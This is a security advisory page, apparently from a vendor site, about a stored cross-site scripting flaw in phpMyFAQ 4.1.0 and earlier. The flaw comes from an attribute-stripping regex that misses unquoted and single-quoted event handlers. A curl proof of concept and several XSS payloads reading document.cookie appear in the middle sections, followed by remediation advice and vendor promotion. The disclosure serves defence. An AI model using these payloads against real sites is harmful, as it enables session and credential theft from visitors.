CVE-2026-34729

CVE-2026-34729 is a medium-severity cross-site scripting (XSS) vulnerability in phpmyfaq/phpmyfaq (composer), affecting versions <= 4.1.0. It is fixed in 4.1.1.

Summary

The sanitization pipeline for FAQ content is:

  1. Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS), encodes <, >, ", ', & to HTML entities
  2. html_entity_decode($input, ENT_QUOTES | ENT_HTML5), decodes entities back to characters
  3. Filter::removeAttributes($input), removes dangerous HTML attributes

The removeAttributes() regex at line 174 only matches attributes with double-quoted values:

preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes);

This regex does NOT match:

  • Attributes with single quotes: onerror='alert(1)'
  • Attributes without quotes: onerror=alert(1)

An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.

Details

Affected File: phpmyfaq/src/phpMyFAQ/Filter.php, line 174

Sanitization flow for FAQ question field:

FaqController::create() lines 110, 145-149:

$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS);
// ...
->setQuestion(Filter::removeAttributes(html_entity_decode(
    (string) $question,
    ENT_QUOTES | ENT_HTML5,
    encoding: 'UTF-8',
)))

Template rendering: faq.twig line 36:

<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>

How the bypass works:

  1. Attacker submits: <img src=x onerror=alert(1)>
  2. After FILTER_SANITIZE_SPECIAL_CHARS: &lt;img src=x onerror=alert(1)&gt;
  3. After html_entity_decode(): <img src=x onerror=alert(1)>
  4. preg_match_all('/[a-z]+=".+"/iU', ...) runs:
    • The regex requires ="..." (double quotes)
    • onerror=alert(1) has NO quotes → NOT matched
    • src=x has NO quotes → NOT matched
    • No attributes are found for removal
  5. Output: <img src=x onerror=alert(1)> (XSS payload intact)
  6. Template renders with |raw: JavaScript executes in browser

Why double-quoted attributes are (partially) protected:

For <img src="x" onerror="alert(1)">:

  • The regex matches both src="x" and onerror="alert(1)"
  • src is in $keep → preserved
  • onerror is NOT in $keep → removed via str_replace()
  • Output: <img src="x"> (safe)

But this protection breaks with single quotes or no quotes.

PoC

Step 1: Create FAQ with XSS payload (requires authenticated admin):

curl -X POST 'https://target.example.com/admin/api/faq/create' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=admin_session' \
  -d '{
    "data": {
      "pmf-csrf-token": "valid_csrf_token",
      "question": "<img src=x onerror=alert(document.cookie)>",
      "answer": "Test answer",
      "lang": "en",
      "categories[]": 1,
      "active": "yes",
      "tags": "test",
      "keywords": "test",
      "author": "test",
      "email": "[email protected]"
    }
  }'

Step 2: XSS triggers on public FAQ page

Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:

https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html

The FAQ title is rendered with |raw in faq.twig line 36 without HtmlSanitizer processing (the processQuestion() method in FaqDisplayService only applies search highlighting, not cleanUpContent()).

Alternative payloads:

<img/src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>

Impact

  • Public XSS: The XSS executes for ALL users viewing the FAQ page, not just admins.
  • Session hijacking: Steal session cookies of all users viewing the FAQ.
  • Phishing: Display fake login forms to steal credentials.
  • Worm propagation: Self-replicating XSS that creates new FAQs with the same payload.
  • Malware distribution: Redirect users to malicious sites.

Note: While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-34729 has a CVSS score of 6.1 (Medium). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.1); upgrading removes the vulnerable code path.

Affected versions

phpmyfaq/phpmyfaq (<= 4.1.0)

Security releases

phpmyfaq/phpmyfaq → 4.1.1 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade phpmyfaq/phpmyfaq to 4.1.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-34729? CVE-2026-34729 is a medium-severity cross-site scripting (XSS) vulnerability in phpmyfaq/phpmyfaq (composer), affecting versions <= 4.1.0. It is fixed in 4.1.1. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. How severe is CVE-2026-34729? CVE-2026-34729 has a CVSS score of 6.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of phpmyfaq/phpmyfaq are affected by CVE-2026-34729? phpmyfaq/phpmyfaq (composer) versions <= 4.1.0 is affected.
  4. Is there a fix for CVE-2026-34729? Yes. CVE-2026-34729 is fixed in 4.1.1. Upgrade to this version or later.
  5. Is CVE-2026-34729 exploitable, and should I be worried? Whether CVE-2026-34729 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-34729 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-34729? Upgrade phpmyfaq/phpmyfaq to 4.1.1 or later.

Other vulnerabilities in phpmyfaq/phpmyfaq

CVE-2026-49205CVE-2026-48488CVE-2026-35675CVE-2026-35672CVE-2026-35671

Stop the waste.
Protect your environment with Kodem.